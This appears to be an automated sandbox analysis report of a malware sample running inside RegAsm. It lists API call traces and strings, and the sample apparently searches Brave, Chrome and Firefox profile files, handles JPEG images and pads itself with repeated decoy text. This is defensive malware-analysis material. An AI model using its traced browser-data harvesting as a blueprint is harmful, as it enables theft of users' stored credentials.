lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction ID: 04d817b79848fc48b59ba69504da24c7d1b3191c531f4b94b2025844f93bc58f
Opcode Fuzzy Hash: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction Fuzzy Hash: E941BB79740624EBC71C9FE5EC89B987F71AB4C712BA0C062F90299190C7F9D5019B3D

Function 004133C0 Relevance: 42.2, APIs: 18, Strings: 6, Instructions: 250
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 004133DC
FindFirstFileA.KERNEL32(?,?), ref: 004133F3
lstrcat.KERNEL32(?,?), ref: 00413445
StrCmpCA.SHLWAPI(?,00420F40), ref: 00413457
StrCmpCA.SHLWAPI(?,00420F44), ref: 0041346D
FindNextFileA.KERNELBASE(000000FF,?), ref: 00413777
FindClose.KERNEL32(000000FF), ref: 0041378C

Strings

18A, xrefs: 00413792, 00413755, 00413679, 00413419, 0041367C, 00413758
%s\%s, xrefs: 0041357F
%s%s, xrefs: 004135BD
%s\*, xrefs: 004133D0
%s\%s\%s, xrefs: 0041355A
%s\%s, xrefs: 0041348A

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*$18A
API String ID: 1125553467-3461493422
Opcode ID: 726007c070200b8b6ccd5e432aca5a88abac811a359fd20cf8ca828f6c5e6349
Instruction ID: eff374fbcd62c6e18ab1f1aaab25817c9043c0eeef42efb3c17498ac9b2729e3
Opcode Fuzzy Hash: 726007c070200b8b6ccd5e432aca5a88abac811a359fd20cf8ca828f6c5e6349
Instruction Fuzzy Hash: 93A18FB1A00218ABCB34DFA4DC85FEE7379BF48305F448589E50D96181EB789B89CF65

Function 6C2D35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C35F688,00001000), ref: 6C2D35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C2D35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C2D35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C2D363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C2D369F
__aulldiv.LIBCMT ref: 6C2D36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C2D3773
EnterCriticalSection.KERNEL32(6C35F688), ref: 6C2D377E
LeaveCriticalSection.KERNEL32(6C35F688), ref: 6C2D37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C2D37C4
EnterCriticalSection.KERNEL32(6C35F688), ref: 6C2D37CB
LeaveCriticalSection.KERNEL32(6C35F688), ref: 6C2D3801
__aulldiv.LIBCMT ref: 6C2D3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C2D3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C2D3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C2D394C

Strings

AuthcAMDenti, xrefs: 6C2D3946
GenuntelineI, xrefs: 6C2D3639
QPC, xrefs: 6C2D38FC
GTC, xrefs: 6C2D3912
MOZ_TIMESTAMP_MODE, xrefs: 6C2D35DB

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: aa683321cae5aa7a4e62f6f83bf462d0ce0feac934ededfc7772685b47b7247f
Instruction ID: 880daeddb688a441a1b9de782d072be9d468ea395adcf3ad8ae92ef8b3b9c9bb
Opcode Fuzzy Hash: aa683321cae5aa7a4e62f6f83bf462d0ce0feac934ededfc7772685b47b7247f
Instruction Fuzzy Hash: EDB1A271B093109FDB08DF28D84465ABBF9BB8E704F45892EE899D7790D734A800CB91

Function 0040BCB0 Relevance: 33.9, APIs: 15, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00420B17,00420B16,00000000,?,?,?,00421398,00420B0F), ref: 0040BD35
StrCmpCA.SHLWAPI(?,0042139C), ref: 0040BD8D
StrCmpCA.SHLWAPI(?,004213A0), ref: 0040BDA3
FindNextFileA.KERNEL32(000000FF,?), ref: 0040C5FF
FindClose.KERNEL32(000000FF), ref: 0040C611

Strings

Brave, xrefs: 0040BF42
Google Chrome, xrefs: 0040C474
Preferences, xrefs: 0040BF5E
\Brave\Preferences, xrefs: 0040C01B

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: ac389881893c878e7153e78c73c88d73921d7cc8774dec2d6e4140750005c09d
Instruction ID: 367325ed2970f14afd5354ed5b858d96e390655a4ce51a4c817116a6e2d4185c
Opcode Fuzzy Hash: ac389881893c878e7153e78c73c88d73921d7cc8774dec2d6e4140750005c09d
Instruction Fuzzy Hash: 5142BB71901108A7CB14FBB1DC96EED733DAF84314F40456EF90A66191EF389B98CB9A

Function 004143F0 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041440C
FindFirstFileA.KERNEL32(?,?), ref: 00414423
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
FindClose.KERNEL32(000000FF), ref: 00414672

Strings

%s\*, xrefs: 00414400
%s\%s, xrefs: 004144DB
%s\%s, xrefs: 00414484

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 9f3bf48bde251c8998207cbfa3dba1c1d14f4b88ae6f084cf6550a3399a378b5
Instruction ID: 93dd7dc702b7a0e0fded8c7806ce8f3795ba14a1618ae0d79b753d530a2b99d1
Opcode Fuzzy Hash: 9f3bf48bde251c8998207cbfa3dba1c1d14f4b88ae6f084cf6550a3399a378b5
Instruction Fuzzy Hash: 11616571900618ABCB30EFA0DC49FEE737DBF48704F408599F50996151EB78AB858FA5

Function 00418AB0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

image/jpeg, xrefs: 00418BD6

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: image/jpeg
API String ID: 0-3785015651
Opcode ID: b004a04b667879b6cdd61793eedbb908b3f0c15db936ddcae61fa4011f9141f2
Instruction ID: ab8c993fcc5868c7862916c534b465bb792f4261399987fcbf2c6f11a1cf59ff
Opcode Fuzzy Hash: b004a04b667879b6cdd61793eedbb908b3f0c15db936ddcae61fa4011f9141f2
Instruction Fuzzy Hash: 2E711CB1A10208ABDB14EFE4DC89FEEB779BF48700F108509F516AB290DB74A945CB65

Function 0040F4F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042155C,00420D7E), ref: 0040F55E
StrCmpCA.SHLWAPI(?,00421560), ref: 0040F5AF
StrCmpCA.SHLWAPI(?,00421564), ref: 0040F5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040F8F1
FindClose.KERNEL32(000000FF), ref: 0040F903

Strings

prefs.js, xrefs: 0040F652

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
